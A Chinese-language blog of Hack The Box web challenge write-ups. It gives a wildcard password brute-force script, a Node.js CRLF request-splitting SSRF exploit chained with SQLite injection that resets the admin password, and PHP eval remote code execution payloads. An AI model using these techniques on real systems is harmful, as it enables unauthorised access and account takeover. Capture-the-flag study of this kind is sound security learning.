HTB_note

Hack The Box做题记录

Phonebook

一个登录界面,下面提示用Reese登录,看到登录框试着SQL注入,但是发现不管什么姿势都没用,再观察,发现输入错误时会请求一个GET参数message,

可能这里也有漏洞,尝试了下xss,<img src=x onerror=alert(1)>

确实存在xss漏洞,但是经观察,并不能对其利用,那试试模板注入:

这里不止试了这一种,用tplmap跑了一遍所有的模板引擎的情况,都不行,大概模板注入也是走不通了

去找hint吧。。看了别人到这的做法,是在密码传入通配符’*’??未曾设想的道路。

然后跳转到这样一个页面,在搜索框里随便输入一个1,显示出挺多的,

在搜索框也是一顿暴锤,按刚刚的姿势把*输入返回无搜索结果,然后发现*后面随便输一个字符发现居然蹦出好多,

image-20230803185410362

那。。推测不就是正则表达式了吗?理解了题意之后去/login页面,传入:

发生了跳转,*代表匹配前面的字符任意次(零次或多次),如ab*表示匹配a后面跟着任意个连续的b,可匹配a,ab,abb等,a*b可匹配任意个连续的a开头,后面跟一个b,可匹配b,ab,aab等,a*b*c匹配任意个连续的a开头,后跟任意个连续的b,最后以一个c结尾,如c,ac,bc,abc,aabc,abbc,aaabbc等

'.'(点号):匹配任意单个字符,除换行符。eg:a.b可匹配aab,axb,a@b等

.*就形成了贪婪匹配,匹配以a开头,后跟任意个字符,最后以b结尾,如axyzb,a@qqb等

'?'(问号):表示匹配前面的字符0次或1次,如ab?可匹配ab或a

+(加号):表示匹配前面的字符一次或多次

{n}:表示匹配前面的字符恰好n次,如a{3}表示匹配恰好三个连续的a字符

{n,}:表示匹配前面的字符至少n次,如,a{2,}可匹配aabcd,aaabcd等

{n,m}:表示匹配前面的字符至少n次,最多m次

[]:表示字符类,匹配其中的任意一个字符,如[abc]可匹配a,b或c

[^]:表示否定字符类,匹配除了其中字符外的任意字符

这里我们根据*匹配前面的字符任意次,我们编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

pre = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_}{?!@#$%^&*<>'

url = 'http://167.172.61.89:32269/login'

flag = ''
for i in range(0,60):
for char in pre:
print(char)
payload = flag + char + '*'
#逐步判断H*,HT*,HTB*,HTB{*等等
r = requests.post(url,data={
'username':'Reese',
'password':payload
}).text
if 'success' in r:
flag += char
print(flag)
break

WeatherApp

打开之后是这样一个页面:

审计源代码:
./index.js:

./routes/index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const path              = require('path');
const fs = require('fs');
const express = require('express');
const router = express.Router();
const WeatherHelper = require('../helpers/WeatherHelper');

let db;

const response = data => ({ message: data });

router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});

router.get('/register', (req, res) => {
return res.sendFile(path.resolve('views/register.html'));
});

router.post('/register', (req, res) => {

if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}

let { username, password } = req.body;

if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}

return res.send(response('Missing parameters'));
});

router.get('/login', (req, res) => {
return res.sendFile(path.resolve('views/login.html'));
});

router.post('/login', (req, res) => {
let { username, password } = req.body;

if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}

return re.send(response('Missing parameters'));
});

router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;

if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}

return res.send(response('Missing parameters'));
});

module.exports = database => {
db = database;
return router;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
router.post('/register', (req, res) => {

if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}

let { username, password } = req.body;

if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}

return res.send(response('Missing parameters'));
});

从上面我们可以看到/register路由的配置,在访问/register时需要用户的远程IP为本地回环地址,否则就会返回401状态码,也就是说只有内网才能访问,就很容易想到SSRF利用存在可能性,有看到一个register()方法,追踪去看这个函数,在database.js中,这里register()没有用使用预编译SQL语句,而是直接拼接字符串,存在SQL注入利用的可能性:

1
2
3
4
5
6
7
8
9
10
11
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}

然后是/login路由,这里就能看到/flag的获取渠道了,需要经过isAdmin()方法的验证以admin身份登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post('/login', (req, res) => {
let { username, password } = req.body;

if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}

return re.send(response('Missing parameters'));
});

顺着去找isAdmin()方法,在database.js中,这里查询用的预编译:

1
2
3
4
5
6
7
8
9
10
11
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
let row = await smt.get(user, pass);
resolve(row !== undefined ? row.username == 'admin' : false);
} catch(e) {
reject(e);
}
});
}

database.js这里migrate()函数中在创建admin用户时生成了个32位的随机数然后再转16进制再经过加密,爆破是几乎不可能的了

1
2
3
4
5
6
7
8
9
10
11
12
13
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
`);
}

/api/waether,这个路由中,let { endpoint, city, country } = req.body;将POST请求的参数赋给{ endpoint, city, country },调用WeatherHelper中的getWeather()方法,参数为res, endpoint, city, country

1
2
3
4
5
6
7
8
9
router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;

if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}

return res.send(response('Missing parameters'));
});

,那就顺着思路往下看WeatherHelper.js,就是请求一个api然后返回城市数据气温等等信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const HttpHelper = require('../helpers/HttpHelper');

module.exports = {
async getWeather(res, endpoint, city, country) {

// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

if (weatherData.name) {
let weatherDescription = weatherData.weather[0].description;
let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
let weatherTemp = weatherData.main.temp;

switch (parseInt(weatherIcon)) {
case 2: case 3: case 4:
weatherIcon = 'icon-clouds';
break;
case 9: case 10:
weatherIcon = 'icon-rain';
break;
case 11:
weatherIcon = 'icon-storm';
break;
case 13:
weatherIcon = 'icon-snow';
break;
default:
weatherIcon = 'icon-sun';
break;
}

return res.send({
desc: weatherDescription,
icon: weatherIcon,
temp: weatherTemp,
});
}

return res.send({
error: `Could not find ${city} or ${country}`
});
}
}

其中的HttpHelper.HttpGet()方法是访问一个api并接受处理返回的数据,以json返回,重点在于,这里是通过服务端进行一次get请求的,并且endpoint等参数在前面看到过,是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const http = require('http');

module.exports = {
HttpGet(url) {
return new Promise((resolve, reject) => {
http.get(url, res => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch(e) {
resolve(false);
}
});
}).on('error', reject);
});
}
}

全部代码看了一遍下来还是不知道ssrf的点在哪里,改过XFF为127.0.0.1也不行。无奈去看了点提示,发现package.json的内容我都没看过,wp看到注意nodejs的版本,是8.12.0,于是去谷歌开始search相关版本的漏洞,重点注意ssrf的,

找了很久也是一路顺藤摸瓜找到了这篇文章:文章,是关于nodejs的请求分割,CRLF(HTTP响应拆分攻击)

简单理解就是node在实际发起请求前,对url的处理是使用多字节的unicode编码解析,如果传入数据中包含恶意设计的unicode编码,在解析之后就会变为字符(如\r\n),就会造成请求分割。

1
2
3
4
将空格编码为\u0120
\r编码为\u010D
\n编码为\u010A
引号等其余字符url编码

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse
import requests

url = 'http://157.245.39.76:31090/api/weather'

username = 'admin'
password = "') on conflict(username) do update set password = '11';--"
username = urllib.parse.quote(username)
password = urllib.parse.quote(password)
#print(username)
#print(password)

content_length = len(f"username={username}&password={password}")

payload = \
f"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {content_length}
Connection: close

username={username}&password={password}

GET /"""#此处用于闭合HttpHelper.HttpGet()传入endpoint后面的部分

endpoint = payload.replace(' ','\u0120').replace('\n','\u010A').replace('\r','\u010D')
city = 'city'
country = 'cn'
#print(endpoint)

r = requests.post(url,json={'endpoint':endpoint,'city':city,'country':country}).status_code
print(r)

这里要讲一下SQLite中的ON CONFLICT语句,在SQLite数据库中,”ON CONFLICT” 是一种用于处理插入操作中发生冲突的机制。当尝试向表中插入一行数据时,如果违反了某些约束(例如唯一性约束),就会发生冲突。”ON CONFLICT” 子句允许你指定在发生冲突时应该如何处理。

常见的用法是在 INSERT 语句中使用 “ON CONFLICT” 子句。以下是一些示例:

忽略冲突:INSERT OR IGNORE INTO table_name … 会忽略冲突并继续执行。

替换(Replace):INSERT OR REPLACE INTO table_name … 会尝试插入数据,如果发生冲突,会先删除原有数据然后插入新数据。

更新(Update):INSERT OR REPLACE INTO table_name … 会尝试插入数据,如果发生冲突,会更新冲突行的数据。

回滚(Rollback):INSERT OR ROLLBACK INTO table_name … 在发生冲突时会回滚整个事务,不会插入数据。

这里利用的是on confilct update

使用密码11登录

LoveTok

页面如下:

查看源代码:

TimeControllor.php:

1
2
3
4
5
6
7
8
9
10
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}

定义了一个TimeController类,类里定义了一个index()方法,其中format变量通过GET请求传入,否则默认为r,然后实例化一个TimeModel类,传入format参数,再返回一个路由渲染,渲染time值为time类中的getTime()方法,

TimeModel.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);

[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}

public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}

定义了一个TimeModel类,类里定义了一个构造函数和一个getTime函数,构造函数参数为format,然后addslashes转义掉单双引号,再随机生成一个日期时间,然后组成一个时间的字符串;getTime()方法中有一个eval ()函数,用于格式化日期时间,最后返回时间。

那这里的eval函数就存在可能的rce,这里有一个前置知识,在date函数中使用一个与时间无关的任意字符串作为format参数

,函数会将这个字符串原样输出,而不会进行日期和时间格式化,于是这里传入${phpinfo()},存在rce

那就用system()函数执行命令吧,然后问题就来了,题目把引号转义了,不过不同的题目思想都是类似可以相互借鉴的,ssti那边将引号ban了之后采用的是将字符串用GET或者POST传参或者放入header或cookie里,这里就把命令放入GET参数中:

这里还想出来另外一种方法,既然无法使用引号包装shell字符串,那就不用呗,用反引号也能执行系统命令,但是无法输出结果,这时候我们只需要使用输出语句print_r()或echo或var_dump()将结果输出即可,这里echo不知道为什么500了,print_r()和var_dump()可以完美实现:

作者

Potat0w0

发布于

2023-08-03

更新于

2024-01-19

许可协议


评论